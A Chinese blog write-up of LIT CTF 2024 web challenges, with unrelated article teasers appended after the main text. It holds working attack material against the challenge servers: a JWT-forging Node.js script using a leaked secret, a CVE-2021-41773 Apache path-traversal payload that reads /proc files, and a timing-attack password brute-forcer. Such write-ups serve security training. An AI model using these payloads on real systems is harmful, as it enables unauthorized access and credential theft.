【Web】LIT CTF 2024 题解(全)

目录

anti-inspect 

jwt-1

jwt-2

traversed

kirbytime

scrainbow


anti-inspect 

因为一直while true,网页会卡死无法访问

const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";console.log(flag,"background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;");

直接console里打印出flag,注意谷歌浏览器不行,这里我用的是火狐

jwt-1

注册改jwt

爆密钥 

改jwt拿flag

jwt-2

直接给了源码,泄露了密钥

附件是ts写的,破解脚本也拿ts写就是

exp:

const crypto = require('crypto');
const axios = require('axios');const url = 'http://litctf.org:31777/flag';
const jwtSecret = 'xook';// JWT header
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' }), 'utf8').toString('base64').replace(/=/g, '');// 伪造的JWT payload
const payload = Buffer.from(JSON.stringify({ name: 'aad', admin: true }), 'utf8').toString('base64').replace(/=/g, '');// 生成伪造的JWT签名
const data = `${header}.${payload}`;
const signature = crypto.createHmac('sha256', jwtSecret).update(data).digest('base64').replace(/=/g, '');// 生成伪造的JWT token
const forgedToken = `${data}.${signature}`;// 设置cookie并发送请求
axios.get(url, { headers: { Cookie: `token=${forgedToken}` } }).then(response => {console.log(response.data);}).catch(error => {if (error.response) {console.error(error.response.data);} else {console.error(error.message);}});

traversed

dirsearch扫出来信息泄露

打的是CVE-2021-41773任意文件读取Apache HTTP Server路径穿越漏洞(CVE-2021-41773、CVE-2021-42013)复现 | chaser's Blog

读当前目录下flag.txt即可

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/cwd/flag.txt

或者先读环境变量/proc/1/environ得知pwd为/app

再读/app/flag.txt

kirbytime

写脚本暴力破解密码

py脚本

import requests
import string
import time# 目标 URL
url = 'http://34.31.154.223:50350/'  # 修改为实际的 URL# 扩展字符集(包括小写字母、大写字母、数字和常见特殊符号)
charset = string.ascii_letters + string.digits + "!@#$%^&*()-=_+[]{}|;:,.<>/?~"# 密码长度
password_length = 7# 初始猜测密码
known_password = ['a'] * password_length  # 初始密码设为 'aaaaaaa'def check_password(password):"""检查密码并返回响应时间"""start_time = time.time()response = requests.post(url, data={'password': password})end_time = time.time()response_time = end_time - start_timeprint(f"Trying password: {password}, Response Time: {response_time:.2f}s")return response_timedef find_password():for pos in range(password_length):print(f"Finding character for position {pos}...")for char in charset:# 尝试将当前位置设置为当前字符known_password[pos] = charcurrent_guess = ''.join(known_password)response_time = check_password(current_guess)# 动态计算阈值,根据字符位置动态设置threshold = 1.2 + pos * 1.0  # 例:阈值动态增加,可根据实际情况调整print(f"Response Time for {char} at position {pos}: {response_time:.2f}s, Threshold: {threshold:.2f}s")if response_time > threshold:print(f"Character at position {pos} fixed as: {char}")breakelse:# 如果没有找到合适的字符,重置当前位置并尝试其他字符known_password[pos] = 'a'print(f"Failed to fix character at position {pos}")print(f"Known password so far: {''.join(known_password)}")return ''.join(known_password)# 开始破解
if __name__ == '__main__':start_time = time.time()found_password = find_password()end_time = time.time()elapsed_time = end_time - start_timeif found_password:print(f"Final password: {found_password}")print(f"Time taken: {elapsed_time:.2f} seconds")# 使用找到的密码进行登录response = requests.post(url, data={'password': found_password})if response.status_code == 200:print("Login successful!")print("Response from server:")print(response.text)else:print("Login failed.")else:print("Password not found.")

爆出来密码是kBySlaY

 直接LITCTF{}包裹密码就是flag

 

scrainbow

纯脚本题,写脚本通了游戏即可

import requestsheaders = {'Accept': '*/*','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6','Connection': 'keep-alive','Referer': 'http://litctf.org:31780/','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0'
}data = requests.get('http://litctf.org:31780/data', headers=headers, verify=False).json()def rgb2hsl(hex: str) -> tuple[float, float, float]:hex = hex.lstrip('#')r, g, b = int(hex[:2], 16), int(hex[2:4], 16), int(hex[4:], 16)r, g, b = r / 255.0, g / 255.0, b / 255.0mx = max(r, g, b)mn = min(r, g, b)df = mx-mnif mx == mn:h = 0elif mx == r:h = (60 * ((g-b)/df) + 360) % 360elif mx == g:h = (60 * ((b-r)/df) + 120) % 360elif mx == b:h = (60 * ((r-g)/df) + 240) % 360if mx == 0:s = 0else:s = df/mxl = (mx+mn)/2return h, s, lcolors_map: dict[float, list[int]] = {}
for i, color in enumerate(data):h, s, l = rgb2hsl(color)if h not in colors_map:colors_map[h] = []colors_map[h].append(i)colors = [p for h, p in sorted(colors_map.items(), key=lambda x: x[0], reverse=False)]target = []
for i in range(100):for j in range(100):target.append(colors[i+j].pop())# for i in range(len(data)):
#     print(f"data[{i}] = '{data[target[i]]}';")# exit()moves = []
current = [i for i in range(len(data))]for i in range(len(target)):if current[i] == target[i]:continuea, b = i, current.index(target[i])moves.append((a, b))current[a], current[b] = current[b], current[a]# for move in moves:# print(f"temp = data[{move[0]}]; data[{move[0]}] = data[{move[1]}]; data[{move[1]}] = temp;")response = requests.post('http://litctf.org:31780/test', headers=headers, json={'data': moves}, verify=False)print(response.text)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/399361.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python办公自动化:使用`xlutils` 修改Excel文档

在日常办公自动化中&#xff0c;除了读取Excel文件&#xff0c;我们还经常需要对文件进行修改或更新。在Python中&#xff0c;除了xlrd&#xff0c;还可以使用xlutils库来实现对Excel文件的修改操作。本文将继续以“巴黎奥运会奖牌榜.xlsx”文件为例&#xff0c;讲解如何使用xl…

eNSP 华为浮动路由

R1&#xff1a; <Huawei>system-view [Huawei]sysname R1 [R1]int g0/0/0 [R1-GigabitEthernet0/0/0]ip add 172.16.1.1 24 [R1-GigabitEthernet0/0/0]int g0/0/1 [R1-GigabitEthernet0/0/1]ip add 10.10.1.1 24 [R1-GigabitEthernet0/0/1]quit [R1]vlan 10 //e口是…

配置Google API,用JavaScript和Python读取Google sheet里的数据

[发布时间是2024年8月。技术流程可能会存在一些变动] 开头提醒一下各位公司&#xff0c;国内包括腾讯云华为云阿里云&#xff0c;国外包括AWS和GCP&#xff0c;希望你们在开发产品的同时把这方面的文档写的更清楚明白一些。 现在&#xff0c;随着办公逐渐云化&#xff0c;从云…

Linux学习笔记11(计算机网络)

目录 网络七层模型/五层模型 IP地址分类 CIDR Centos7的网卡IP配置 RockyLinux9的网卡IP配置 网络七层模型/五层模型 自下到上 物理层&#xff1a; 建立物理连接&#xff0c;传输 0 和 1 的比特流 数据链路层&#xff1a; 物理地址寻址&#xff0c;流量控制&#xff0c;差错…

【redis】springboot 用redis stream实现MQ消息队列 考虑异常ack重试场景

redis stream是redis5引入的特性&#xff0c;一定程度上借鉴了kafka等MQ的设计&#xff0c;部署的redis版本必须 > 5 本文主要讲的是思路&#xff0c;结合简单的源码分析&#xff08;放心&#xff0c;无需深入大量源码&#xff09;&#xff1b;讲述在redis stream文档缺乏&a…

链表的奇偶节点重新排列及空指针问题分析【链表、空指针】

在处理链表问题时&#xff0c;重组链表节点是一种常见需求。本文将详细探讨如何在链表中将奇数索引节点放在偶数索引节点之前&#xff0c;并深入分析实现过程中的空指针问题及其解决方案。 1. 问题描述 给定一个单链表&#xff0c;要求将链表中的节点按照奇数索引节点在前、偶…

控制SD图片生成的神经网络模型--ControlNet

ControlNet 是一个通过添加额外条件来控制SD中图像生成的神经网络&#xff0c;可以使用 ControlNet 来做以下事情&#xff1a; 指定人体姿势。 从另一幅图像复制图片的构图。 生成参考图片类似的图像。 将涂鸦图片变成专业的图像。 ControlNet 是用于控制SD的神经网络模型…

8.8 哈希表简单 1 Two Sum 141 Linked List Cycle

1 Two Sum class Solution { public:vector<int> twoSum(vector<int>& nums, int target) {//给的target是目标sum 要返回vector<int> res(2,0);是在num中找加数//首先假设每个输入都是由唯一的结果&#xff0c;而且不适用相同的元素两次一共有n*(n-1)种…

记录前后端接口使用AES+RSA混合加解密

一、前言 由于项目需求&#xff0c;需要用到前后端数据的加解密操作。在网上查找了了相关资料&#xff0c;但在实际应用中遇到了一些问题&#xff0c;不能完全满足我的要求。 以此为基础&#xff08;前后端接口AESRSA混合加解密详解&#xff08;vueSpringBoot&#xff09;附完…

2024.8.7(SQL语句)

一、回顾 1、主服务器 [rootslave-mysql ~]# yum -y install rsync [rootmaster-mysql ~]# yum -y install rsync [rootmaster-mysql ~]# tar -xf mysql-8.0.33-linux-glibc2.12-x86_64.tar [rootmaster-mysql ~]# ls [rootmaster-mysql ~]# tar -xf mysql-8.0.33-linux-glib…

Python大数据分析——SVM模型(支持向量机)

Python大数据分析——SVM模型&#xff08;支持向量机&#xff09; 认知模型介绍距离计算模型思想目标函数函数与几何间隔 线性可分SVM模型目标函数函数代码 非线性可分SVM模型目标函数函数代码 示例手写体字母识别森林火灾面积预测 认知模型 介绍 超平面的理解&#xff1a;在…

HTML标签简明通俗教程

HTML标签简明通俗教程 基本知识 HTML&#xff1a;是超文本标记语言&#xff08;Hyper Text Markup Language&#xff09;的缩写&#xff0c;它是用于创建网页的标准标记语言。标签是构成HTML文档的基本单位。 【HTML中的标签&#xff08;tag&#xff09;和元素&#xff08;e…

虹科新品 | PDF记录仪新增蓝牙®接口型号HK-LIBERO CL-Y

新品发布&#xff01;HK-LIBERO CE / CH / CL产品家族新增蓝牙接口型号HK-LIBERO CL-Y&#xff01; PDF记录仪系列新增蓝牙接口型号 HK-LIBERO CL-Y HK-LIBERO CE、HK-LIBERO CH和HK-LIBERO CL&#xff0c;虹科ELPRO提供了一系列高品质的蓝牙&#xff08;BLE&#xff09;多用途…

解决Element-ui el-tree数据与显示不对应的问题

如图&#xff1a; 后端返回的权限列表&#xff0c;并没有列表这一项&#xff0c;但是由于父节点 版本打包 为选中状态&#xff0c;导致所有子节点都为选中状态。 实现代码如下&#xff1a; <el-treeref"tree":data"records"show-checkboxnode-key&quo…

BCArchive加密工具实测分享:为何我觉得它很实用?

前言 你是不是经常有这样的烦恼&#xff1a;重要的文件、私密的照片、敏感的资料&#xff0c;总是担心会不小心泄露出去&#xff1f;哎呀&#xff0c;别担心&#xff0c;别担心&#xff0c;我今天要介绍的这款软件&#xff0c;简直就是守护你数据安全的超级英雄&#xff01; 在…

基于Java的流浪动物救助系统---附源码16974

目 录 摘要 1 绪论 1.1 研究背景及意义 1.2 开发现状 1.3论文结构与章节安排 2 流浪动物救助系统分析 2.1 可行性分析 2.1.1 技术可行性分析 2.1.2 经济可行性分析 2.1.3 操作可行性分析 2.2 系统功能分析 2.2.1 功能性分析 2.2.2 非功能性分析 2.3 系统用例分析…

webrtc一对一视频通话功能实现

项目效果 实现原理 关于原理我就不做说明&#xff0c;直接看图 WebRTC建立的时序图 系统用例逻辑 搭建环境 turn服务器&#xff1a;Ubuntu24.04搭建turn服务器 mkcert的安装和使用&#xff1a;配置https访问 必须使用https协议&#xff0c; 由于浏览器的安全策略导致的&am…

四数相加2 | LeetCode-454 | 哈希集合 | Java详细注释

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 &#x1f579;️思路&#xff1a;四数相加 > 两数相加 &#x1f4cc;LeetCode链接&#xff1a;454. 四数相加 II 文章目录 1.题目描述&#x1f34e;2.题解&#x…

php word文档中写入数据

<?phpnamespace app\api\controller;/*** 首页接口*/ class Coursess extends Api {//签订合同public function contract(){$id $this->request->post(id);$qian $this->request->post(qian);if (!$id || !$qian) {$this->error(__(Invalid parameters));…

算法——动态规划:0/1 背包问题

文章目录 一、问题描述二、解决方案1. DP 状态的设计2. 状态转移方程3. 算法复杂度4. 举例5. 实现6. 滚动数组6.1 两行实现6.2 单行实现6.3 优缺点 三、总结 一、问题描述 问题的抽象&#xff1a;给定 n n n 种物品和一个背包&#xff0c;第 i i i 个物品的体积为 c i c_i …